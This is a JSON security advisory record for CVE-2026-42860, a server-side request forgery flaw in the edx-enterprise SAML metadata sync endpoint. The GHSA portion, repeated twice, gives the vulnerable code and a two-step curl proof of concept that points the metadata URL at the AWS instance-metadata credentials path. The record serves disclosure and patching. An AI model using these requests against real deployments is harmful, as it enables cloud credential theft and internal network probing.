{"id":"CVE-2026-42860","aliases":["EUVD-2026-29168","GHSA-64cv-vxpr-j6vc","PYSEC-2026-58"],"status":"published","title":"Open edx Enterprise Service: SSRF via SAML metadata URL in sync_provider_data endpoint","description":"The Open edx Enterprise Service app provides enterprise features to the Open edX platform. From 7.0.2 to 7.0.4, the sync_provider_data endpoint in SAMLProviderDataViewSet fetches SAML metadata from a URL stored in SAMLProviderConfig.metadata_source. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the SAMLProviderConfigViewSet PATCH endpoint, then trigger a server-side HTTP request by calling sync_provider_data. The fetch in fetch_metadata_xml() passes the URL directly to requests.get() with no scheme enforcement, IP filtering, or timeout. This vulnerability is fixed in 7.0.5.","severity":{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00301,"percentile":0.23052,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-918"],"published":"2026-05-05T17:51:50Z","modified":"2026-10-28T02:31:11Z","fixes":[{"ecosystem":"PyPI","package":"edx-enterprise","fixed_in":["7.0.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"edx-enterprise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.2"},{"last_affected":"7.0.4"},{"fixed":"7.0.5"}]}]},{"source":"osv","ecosystem":"PyPI","package":"edx-enterprise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.2"},{"fixed":"7.0.5"}]}],"versions":["7.0.2","7.0.3","7.0.4"]},{"source":"osv","ecosystem":"PyPI","package":"edx-enterprise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.2"},{"fixed":"7.0.5"}]}],"versions":["7.0.2","7.0.3","7.0.4"]}],"products":[{"vendor":"openedx","product":"edx-enterprise"}],"references":[{"url":"https://github.com/openedx/edx-enterprise/security/advisories/GHSA-64cv-vxpr-j6vc","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","evidence"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42860","tags":["advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/edx-enterprise/PYSEC-2026-58.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-64cv-vxpr-j6vc"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42860.json","tags":["advisory"]},{"url":"https://github.com/openedx/edx-enterprise","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-42860","title":"Open edx Enterprise Service: SSRF via SAML metadata URL in sync_provider_data endpoint","description":"The Open edx Enterprise Service app provides enterprise features to the Open edX platform. From 7.0.2 to 7.0.4, the sync_provider_data endpoint in SAMLProviderDataViewSet fetches SAML metadata from a URL stored in SAMLProviderConfig.metadata_source. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the SAMLProviderConfigViewSet PATCH endpoint, then trigger a server-side HTTP request by calling sync_provider_data. The fetch in fetch_metadata_xml() passes the URL directly to requests.get() with no scheme enforcement, IP filtering, or timeout. This vulnerability is fixed in 7.0.5.","status":"published","published":"2026-05-11T17:40:09.858Z","modified":"2026-05-11T20:10:00.779Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T13:40:12.486331Z"}],"euvd":[{"id":"EUVD-2026-29168","description":"The Open edx Enterprise Service app provides enterprise features to the Open edX platform. From 7.0.2 to 7.0.4, the sync_provider_data endpoint in SAMLProviderDataViewSet fetches SAML metadata from a URL stored in SAMLProviderConfig.metadata_source. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the SAMLProviderConfigViewSet PATCH endpoint, then trigger a server-side HTTP request by calling sync_provider_data. The fetch in fetch_metadata_xml() passes the URL directly to requests.get() with no scheme enforcement, IP filtering, or timeout. This vulnerability is fixed in 7.0.5.","status":"published","published":"2026-05-11T17:40:09Z","modified":"2026-05-11T20:10:00Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T19:04:57.072789Z"}],"ghsa":[{"id":"GHSA-64cv-vxpr-j6vc","title":"edx-enterprise has SSRF via SAML metadata URL in sync_provider_data endpoint","description":"## Summary\n\nThe `sync_provider_data` endpoint in `SAMLProviderDataViewSet` fetches SAML metadata from a URL stored in `SAMLProviderConfig.metadata_source`. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the `SAMLProviderConfigViewSet` PATCH endpoint, then trigger a server-side HTTP request by calling `sync_provider_data`. The fetch in `fetch_metadata_xml()` passes the URL directly to `requests.get()` with no scheme enforcement, IP filtering, or timeout.\n\nThis vulnerability was introduced when the SAML admin viewsets were migrated from `openedx-platform` into `edx-enterprise`. A related fix for the equivalent fetch path in `openedx-platform` (the `fetch_saml_metadata` Celery task) was applied in [GHSA-328g-7h4g-r2m9](https://github.com/openedx/openedx-platform/security/advisories/GHSA-328g-7h4g-r2m9).\n\n## Details\n\n**Vulnerable code path:**\n\n`enterprise/api/v1/views/saml_utils.py`:\n```python\ndef fetch_metadata_xml(url):\n    log.info(\"Fetching %s\", url)\n    if not url.lower().startswith('https'):\n        log.warning(\"This SAML metadata URL is not secure! (%s)\", url)\n    response = requests.get(url, verify=True)  # No IP/scheme validation\n    response.raise_for_status()\n```\n\n`enterprise/api/v1/views/saml_provider_data.py`:\n```python\n@action(detail=False, methods=['post'], url_path='sync_provider_data')\ndef sync_provider_data(self, request):\n    ...\n    metadata_url = saml_provider.metadata_source  # set via SAMLProviderConfig PATCH\n    xml = fetch_metadata_xml(metadata_url)        # triggers the fetch\n```\n\n**Missing protections:**\n- No HTTPS enforcement (HTTP is allowed; the warning is not enforced)\n- No blocking of loopback (`127.0.0.0/8`) or link-local (`169.254.0.0/16`) ranges\n- No blocking of RFC 1918 private ranges\n- No request timeout\n\n## Proof of Concept\n\n**Prerequisites:** Authenticated user with `Enterprise Admin` role for any enterprise customer with a configured SAML Identity Provider.\n\n**Step 1:** Set a malicious metadata URL via the provider config endpoint:\n```bash\ncurl -X PATCH 'https://\u003cinstance\u003e/auth/saml/v0/provider_config/\u003cpk\u003e/' \\\n  -H 'Authorization: Bearer \u003cJWT\u003e' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"metadata_source\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}'\n```\n\n**Step 2:** Trigger the server-side fetch:\n```bash\ncurl -X POST 'https://\u003cinstance\u003e/auth/saml/v0/provider_data/sync_provider_data' \\\n  -H 'Authorization: Bearer \u003cJWT\u003e' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"enterprise_customer_uuid\": \"\u003cuuid\u003e\"}'\n```\n\nThe server fetches the AWS metadata endpoint. Even though XML parsing will fail, the HTTP request is made and timing/error differences confirm reachability of internal addresses.\n\n## Impact\n\nAn Enterprise Admin can use this SSRF to:\n\n- **Steal cloud credentials:** Access AWS/GCP/Azure instance metadata services to retrieve IAM temporary credentials, potentially enabling full cloud infrastructure compromise.\n- **Scan internal networks:** Probe internal hosts, ports, and services behind the deployment's firewall.\n- **Access internal APIs:** Reach databases, admin panels, or microservices not exposed to the internet.\n\nEnterprise Admin is a delegated role typically granted to corporate training managers, not platform operators. It should not grant the ability to make the server issue arbitrary outbound HTTP requests.\n\n## Patches / Mitigations\n\nCall `validate_saml_metadata_url()` (importable from `common.djangoapps.third_party_auth.utils` as of the openedx-platform fix in [GHSA-328g-7h4g-r2m9](https://github.com/openedx/openedx-platform/security/advisories/GHSA-328g-7h4g-r2m9)) in `fetch_metadata_xml()` before calling `requests.get()`. A request timeout should also be added.\n\nOperators should additionally enforce network-level egress filtering to block outbound connections from the Open edX server to `169.254.0.0/16` and RFC 1918 ranges as a complementary control, particularly to cover hostname-based URLs that cannot be validated at the application layer.","status":"published","published":"2026-05-05T17:51:50Z","modified":"2026-06-06T00:27:27Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:40:17.745826Z"}],"nvd":[{"id":"CVE-2026-42860","description":"The Open edx Enterprise Service app provides enterprise features to the Open edX platform. From 7.0.2 to 7.0.4, the sync_provider_data endpoint in SAMLProviderDataViewSet fetches SAML metadata from a URL stored in SAMLProviderConfig.metadata_source. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the SAMLProviderConfigViewSet PATCH endpoint, then trigger a server-side HTTP request by calling sync_provider_data. The fetch in fetch_metadata_xml() passes the URL directly to requests.get() with no scheme enforcement, IP filtering, or timeout. This vulnerability is fixed in 7.0.5.","status":"published","published":"2026-05-11T18:16:36.547Z","modified":"2026-10-26T18:10:00.173Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:18.239974Z"}],"osv":[{"id":"CVE-2026-42860","title":"Open edx Enterprise Service: SSRF via SAML metadata URL in sync_provider_data endpoint","description":"The Open edx Enterprise Service app provides enterprise features to the Open edX platform. From 7.0.2 to 7.0.4, the sync_provider_data endpoint in SAMLProviderDataViewSet fetches SAML metadata from a URL stored in SAMLProviderConfig.metadata_source. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the SAMLProviderConfigViewSet PATCH endpoint, then trigger a server-side HTTP request by calling sync_provider_data. The fetch in fetch_metadata_xml() passes the URL directly to requests.get() with no scheme enforcement, IP filtering, or timeout. This vulnerability is fixed in 7.0.5.","status":"published","published":"2026-05-11T17:40:09.858Z","modified":"2026-10-28T02:31:11.896931012Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:45:04.117819Z"},{"id":"GHSA-64cv-vxpr-j6vc","title":"edx-enterprise has SSRF via SAML metadata URL in sync_provider_data endpoint","description":"## Summary\n\nThe `sync_provider_data` endpoint in `SAMLProviderDataViewSet` fetches SAML metadata from a URL stored in `SAMLProviderConfig.metadata_source`. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the `SAMLProviderConfigViewSet` PATCH endpoint, then trigger a server-side HTTP request by calling `sync_provider_data`. The fetch in `fetch_metadata_xml()` passes the URL directly to `requests.get()` with no scheme enforcement, IP filtering, or timeout.\n\nThis vulnerability was introduced when the SAML admin viewsets were migrated from `openedx-platform` into `edx-enterprise`. A related fix for the equivalent fetch path in `openedx-platform` (the `fetch_saml_metadata` Celery task) was applied in [GHSA-328g-7h4g-r2m9](https://github.com/openedx/openedx-platform/security/advisories/GHSA-328g-7h4g-r2m9).\n\n## Details\n\n**Vulnerable code path:**\n\n`enterprise/api/v1/views/saml_utils.py`:\n```python\ndef fetch_metadata_xml(url):\n    log.info(\"Fetching %s\", url)\n    if not url.lower().startswith('https'):\n        log.warning(\"This SAML metadata URL is not secure! (%s)\", url)\n    response = requests.get(url, verify=True)  # No IP/scheme validation\n    response.raise_for_status()\n```\n\n`enterprise/api/v1/views/saml_provider_data.py`:\n```python\n@action(detail=False, methods=['post'], url_path='sync_provider_data')\ndef sync_provider_data(self, request):\n    ...\n    metadata_url = saml_provider.metadata_source  # set via SAMLProviderConfig PATCH\n    xml = fetch_metadata_xml(metadata_url)        # triggers the fetch\n```\n\n**Missing protections:**\n- No HTTPS enforcement (HTTP is allowed; the warning is not enforced)\n- No blocking of loopback (`127.0.0.0/8`) or link-local (`169.254.0.0/16`) ranges\n- No blocking of RFC 1918 private ranges\n- No request timeout\n\n## Proof of Concept\n\n**Prerequisites:** Authenticated user with `Enterprise Admin` role for any enterprise customer with a configured SAML Identity Provider.\n\n**Step 1:** Set a malicious metadata URL via the provider config endpoint:\n```bash\ncurl -X PATCH 'https://\u003cinstance\u003e/auth/saml/v0/provider_config/\u003cpk\u003e/' \\\n  -H 'Authorization: Bearer \u003cJWT\u003e' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"metadata_source\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}'\n```\n\n**Step 2:** Trigger the server-side fetch:\n```bash\ncurl -X POST 'https://\u003cinstance\u003e/auth/saml/v0/provider_data/sync_provider_data' \\\n  -H 'Authorization: Bearer \u003cJWT\u003e' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"enterprise_customer_uuid\": \"\u003cuuid\u003e\"}'\n```\n\nThe server fetches the AWS metadata endpoint. Even though XML parsing will fail, the HTTP request is made and timing/error differences confirm reachability of internal addresses.\n\n## Impact\n\nAn Enterprise Admin can use this SSRF to:\n\n- **Steal cloud credentials:** Access AWS/GCP/Azure instance metadata services to retrieve IAM temporary credentials, potentially enabling full cloud infrastructure compromise.\n- **Scan internal networks:** Probe internal hosts, ports, and services behind the deployment's firewall.\n- **Access internal APIs:** Reach databases, admin panels, or microservices not exposed to the internet.\n\nEnterprise Admin is a delegated role typically granted to corporate training managers, not platform operators. It should not grant the ability to make the server issue arbitrary outbound HTTP requests.\n\n## Patches / Mitigations\n\nCall `validate_saml_metadata_url()` (importable from `common.djangoapps.third_party_auth.utils` as of the openedx-platform fix in [GHSA-328g-7h4g-r2m9](https://github.com/openedx/openedx-platform/security/advisories/GHSA-328g-7h4g-r2m9)) in `fetch_metadata_xml()` before calling `requests.get()`. A request timeout should also be added.\n\nOperators should additionally enforce network-level egress filtering to block outbound connections from the Open edX server to `169.254.0.0/16` and RFC 1918 ranges as a complementary control, particularly to cover hostname-based URLs that cannot be validated at the application layer.","status":"published","published":"2026-05-05T17:51:50Z","modified":"2026-06-06T00:45:49.484678989Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:39.266402Z"},{"id":"PYSEC-2026-58","description":"The Open edx Enterprise Service app provides enterprise features to the Open edX platform. From 7.0.2 to 7.0.4, the sync_provider_data endpoint in SAMLProviderDataViewSet fetches SAML metadata from a URL stored in SAMLProviderConfig.metadata_source. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the SAMLProviderConfigViewSet PATCH endpoint, then trigger a server-side HTTP request by calling sync_provider_data. The fetch in fetch_metadata_xml() passes the URL directly to requests.get() with no scheme enforcement, IP filtering, or timeout. This vulnerability is fixed in 7.0.5.","status":"published","published":"2026-05-11T18:16:36.547Z","modified":"2026-05-20T09:18:59.782659Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:57.671918Z"}]}}